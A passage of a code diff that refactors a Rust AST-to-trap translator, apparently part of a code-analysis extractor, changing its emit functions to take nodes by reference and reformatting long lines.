-> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::ContinueExpr { id: TrapId::Star, attrs, lifetime, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ContinueExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_dyn_trait_type(&mut self, node: ast::DynTraitType) -> Option> { - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_dyn_trait_type( + &mut self, + node: &ast::DynTraitType, + ) -> Option> { + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::DynTraitTypeRepr { id: TrapId::Star, type_bound_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(DynTraitTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_enum(&mut self, node: ast::Enum) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let variant_list = node.variant_list().and_then(|x| self.emit_variant_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_enum(&mut self, node: &ast::Enum) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let variant_list = node.variant_list().and_then(|x| self.emit_variant_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Enum { id: TrapId::Star, attrs, @@ -761,29 +912,37 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Enum, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_expr_stmt(&mut self, node: ast::ExprStmt) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_expr_stmt( + &mut self, + node: &ast::ExprStmt, + ) -> Option> { + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ExprStmt { id: TrapId::Star, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ExprStmt, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_extern_block(&mut self, node: ast::ExternBlock) -> Option> { - if self.should_be_excluded(&node) { return None; } - let abi = node.abi().and_then(|x| self.emit_abi(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let extern_item_list = node.extern_item_list().and_then(|x| self.emit_extern_item_list(x)); + pub(crate) fn emit_extern_block( + &mut self, + node: &ast::ExternBlock, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let abi = node.abi().and_then(|x| self.emit_abi(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let extern_item_list = node + .extern_item_list() + .and_then(|x| self.emit_extern_item_list(&x)); let is_unsafe = node.unsafe_token().is_some(); let label = self.trap.emit(generated::ExternBlock { id: TrapId::Star, @@ -792,18 +951,22 @@ impl Translator<'_> { extern_item_list, is_unsafe, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ExternBlock, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_extern_crate(&mut self, node: ast::ExternCrate) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let rename = node.rename().and_then(|x| self.emit_rename(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_extern_crate( + &mut self, + node: &ast::ExternCrate, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let rename = node.rename().and_then(|x| self.emit_rename(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::ExternCrate { id: TrapId::Star, attrs, @@ -811,60 +974,74 @@ impl Translator<'_> { rename, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ExternCrate, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_extern_item_list(&mut self, node: ast::ExternItemList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let extern_items = node.extern_items().filter_map(|x| self.emit_extern_item(x)).collect(); + pub(crate) fn emit_extern_item_list( + &mut self, + node: &ast::ExternItemList, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let extern_items = node + .extern_items() + .filter_map(|x| self.emit_extern_item(&x)) + .collect(); let label = self.trap.emit(generated::ExternItemList { id: TrapId::Star, attrs, extern_items, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ExternItemList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_field_expr(&mut self, node: ast::FieldExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let container = node.expr().and_then(|x| self.emit_expr(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); + pub(crate) fn emit_field_expr( + &mut self, + node: &ast::FieldExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let container = node.expr().and_then(|x| self.emit_expr(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::FieldExpr { id: TrapId::Star, attrs, container, identifier, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(FieldExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_fn(&mut self, node: ast::Fn) -> Option> { - if self.should_be_excluded(&node) { return None; } - let abi = node.abi().and_then(|x| self.emit_abi(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_block_expr(x)); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_fn(&mut self, node: &ast::Fn) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let abi = node.abi().and_then(|x| self.emit_abi(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_block_expr(&x)); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_default = node.default_token().is_some(); let is_gen = node.gen_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Function { id: TrapId::Star, abi, @@ -882,19 +1059,21 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Function, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_fn_ptr_type(&mut self, node: ast::FnPtrType) -> Option> { - let abi = node.abi().and_then(|x| self.emit_abi(x)); + pub(crate) fn emit_fn_ptr_type( + &mut self, + node: &ast::FnPtrType, + ) -> Option> { + let abi = node.abi().and_then(|x| self.emit_abi(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let param_list = node.param_list().and_then(|x| self.emit_param_list(x)); - let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x)); + let param_list = node.param_list().and_then(|x| self.emit_param_list(&x)); + let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(&x)); let label = self.trap.emit(generated::FnPtrTypeRepr { id: TrapId::Star, abi, @@ -904,19 +1083,23 @@ impl Translator<'_> { param_list, ret_type, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(FnPtrTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_for_expr(&mut self, node: ast::ForExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let iterable = node.iterable().and_then(|x| self.emit_expr(x)); - let label = node.label().and_then(|x| self.emit_label(x)); - let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_for_expr( + &mut self, + node: &ast::ForExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let iterable = node.iterable().and_then(|x| self.emit_expr(&x)); + let label = node.label().and_then(|x| self.emit_label(&x)); + let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::ForExpr { id: TrapId::Star, attrs, @@ -925,88 +1108,115 @@ impl Translator<'_> { loop_body, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ForExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_for_type(&mut self, node: ast::ForType) -> Option> { - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_for_type( + &mut self, + node: &ast::ForType, + ) -> Option> { + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ForTypeRepr { id: TrapId::Star, generic_param_list, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ForTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_format_args_arg(&mut self, node: ast::FormatArgsArg) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let name = node.name().and_then(|x| self.emit_name(x)); + pub(crate) fn emit_format_args_arg( + &mut self, + node: &ast::FormatArgsArg, + ) -> Option> { + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::FormatArgsArg { id: TrapId::Star, expr, name, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(FormatArgsArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_format_args_expr(&mut self, node: ast::FormatArgsExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let args = node.args().filter_map(|x| self.emit_format_args_arg(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let template = node.template().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_format_args_expr( + &mut self, + node: &ast::FormatArgsExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let args = node + .args() + .filter_map(|x| self.emit_format_args_arg(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let template = node.template().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::FormatArgsExpr { id: TrapId::Star, args, attrs, template, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(FormatArgsExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_generic_arg_list(&mut self, node: ast::GenericArgList) -> Option> { - let generic_args = node.generic_args().filter_map(|x| self.emit_generic_arg(x)).collect(); + pub(crate) fn emit_generic_arg_list( + &mut self, + node: &ast::GenericArgList, + ) -> Option> { + let generic_args = node + .generic_args() + .filter_map(|x| self.emit_generic_arg(&x)) + .collect(); let label = self.trap.emit(generated::GenericArgList { id: TrapId::Star, generic_args, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(GenericArgList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_generic_param_list(&mut self, node: ast::GenericParamList) -> Option> { - let generic_params = node.generic_params().filter_map(|x| self.emit_generic_param(x)).collect(); + pub(crate) fn emit_generic_param_list( + &mut self, + node: &ast::GenericParamList, + ) -> Option> { + let generic_params = node + .generic_params() + .filter_map(|x| self.emit_generic_param(&x)) + .collect(); let label = self.trap.emit(generated::GenericParamList { id: TrapId::Star, generic_params, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(GenericParamList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ident_pat(&mut self, node: ast::IdentPat) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_ident_pat( + &mut self, + node: &ast::IdentPat, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_mut = node.mut_token().is_some(); let is_ref = node.ref_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::IdentPat { id: TrapId::Star, attrs, @@ -1015,18 +1225,19 @@ impl Translator<'_> { name, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(IdentPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_if_expr(&mut self, node: ast::IfExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let condition = node.condition().and_then(|x| self.emit_expr(x)); - let else_ = node.else_branch().and_then(|x| self.emit_else_branch(x)); - let then = node.then_branch().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_if_expr(&mut self, node: &ast::IfExpr) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let condition = node.condition().and_then(|x| self.emit_expr(&x)); + let else_ = node.else_branch().and_then(|x| self.emit_else_branch(&x)); + let then = node.then_branch().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::IfExpr { id: TrapId::Star, attrs, @@ -1034,24 +1245,29 @@ impl Translator<'_> { else_, then, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(IfExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_impl(&mut self, node: ast::Impl) -> Option> { - if self.should_be_excluded(&node) { return None; } - let assoc_item_list = node.assoc_item_list().and_then(|x| self.emit_assoc_item_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_impl(&mut self, node: &ast::Impl) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let assoc_item_list = node + .assoc_item_list() + .and_then(|x| self.emit_assoc_item_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_const = node.const_token().is_some(); let is_default = node.default_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let self_ty = node.self_ty().and_then(|x| self.emit_type(x)); - let trait_ = node.trait_().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let self_ty = node.self_ty().and_then(|x| self.emit_type(&x)); + let trait_ = node.trait_().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Impl { id: TrapId::Star, assoc_item_list, @@ -1065,114 +1281,137 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Impl, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_impl_trait_type(&mut self, node: ast::ImplTraitType) -> Option> { - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_impl_trait_type( + &mut self, + node: &ast::ImplTraitType, + ) -> Option> { + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::ImplTraitTypeRepr { id: TrapId::Star, type_bound_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ImplTraitTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_index_expr(&mut self, node: ast::IndexExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let base = node.base().and_then(|x| self.emit_expr(x)); - let index = node.index().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_index_expr( + &mut self, + node: &ast::IndexExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let base = node.base().and_then(|x| self.emit_expr(&x)); + let index = node.index().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::IndexExpr { id: TrapId::Star, attrs, base, index, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(IndexExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_infer_type(&mut self, node: ast::InferType) -> Option> { - let label = self.trap.emit(generated::InferTypeRepr { - id: TrapId::Star, - }); - self.emit_location(label, &node); + pub(crate) fn emit_infer_type( + &mut self, + node: &ast::InferType, + ) -> Option> { + let label = self + .trap + .emit(generated::InferTypeRepr { id: TrapId::Star }); + self.emit_location(label, node); emit_detached!(InferTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_item_list(&mut self, node: ast::ItemList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let items = node.items().filter_map(|x| self.emit_item(x)).collect(); + pub(crate) fn emit_item_list( + &mut self, + node: &ast::ItemList, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::ItemList { id: TrapId::Star, attrs, items, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ItemList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_label(&mut self, node: ast::Label) -> Option> { - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_label(&mut self, node: &ast::Label) -> Option> { + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::Label { id: TrapId::Star, lifetime, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Label, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_let_else(&mut self, node: ast::LetElse) -> Option> { - let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_let_else( + &mut self, + node: &ast::LetElse, + ) -> Option> { + let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::LetElse { id: TrapId::Star, block_expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LetElse, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_let_expr(&mut self, node: ast::LetExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let scrutinee = node.expr().and_then(|x| self.emit_expr(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_let_expr( + &mut self, + node: &ast::LetExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let scrutinee = node.expr().and_then(|x| self.emit_expr(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::LetExpr { id: TrapId::Star, attrs, scrutinee, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LetExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_let_stmt(&mut self, node: ast::LetStmt) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let initializer = node.initializer().and_then(|x| self.emit_expr(x)); - let let_else = node.let_else().and_then(|x| self.emit_let_else(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_let_stmt( + &mut self, + node: &ast::LetStmt, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let initializer = node.initializer().and_then(|x| self.emit_expr(&x)); + let let_else = node.let_else().and_then(|x| self.emit_let_else(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::LetStmt { id: TrapId::Star, attrs, @@ -1181,121 +1420,149 @@ impl Translator<'_> { pat, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LetStmt, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_lifetime(&mut self, node: ast::Lifetime) -> Option> { + pub(crate) fn emit_lifetime( + &mut self, + node: &ast::Lifetime, + ) -> Option> { let text = node.try_get_text(); let label = self.trap.emit(generated::Lifetime { id: TrapId::Star, text, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Lifetime, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_lifetime_arg(&mut self, node: ast::LifetimeArg) -> Option> { - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_lifetime_arg( + &mut self, + node: &ast::LifetimeArg, + ) -> Option> { + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::LifetimeArg { id: TrapId::Star, lifetime, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LifetimeArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_lifetime_param(&mut self, node: ast::LifetimeParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_lifetime_param( + &mut self, + node: &ast::LifetimeParam, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::LifetimeParam { id: TrapId::Star, attrs, lifetime, type_bound_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LifetimeParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_literal(&mut self, node: ast::Literal) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_literal( + &mut self, + node: &ast::Literal, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let text_value = node.try_get_text(); let label = self.trap.emit(generated::LiteralExpr { id: TrapId::Star, attrs, text_value, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LiteralExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_literal_pat(&mut self, node: ast::LiteralPat) -> Option> { - let literal = node.literal().and_then(|x| self.emit_literal(x)); + pub(crate) fn emit_literal_pat( + &mut self, + node: &ast::LiteralPat, + ) -> Option> { + let literal = node.literal().and_then(|x| self.emit_literal(&x)); let label = self.trap.emit(generated::LiteralPat { id: TrapId::Star, literal, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LiteralPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_loop_expr(&mut self, node: ast::LoopExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let label = node.label().and_then(|x| self.emit_label(x)); - let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_loop_expr( + &mut self, + node: &ast::LoopExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let label = node.label().and_then(|x| self.emit_label(&x)); + let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::LoopExpr { id: TrapId::Star, attrs, label, loop_body, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(LoopExpr, self, node, label); - self.emit_tokens(&node, label.into(), 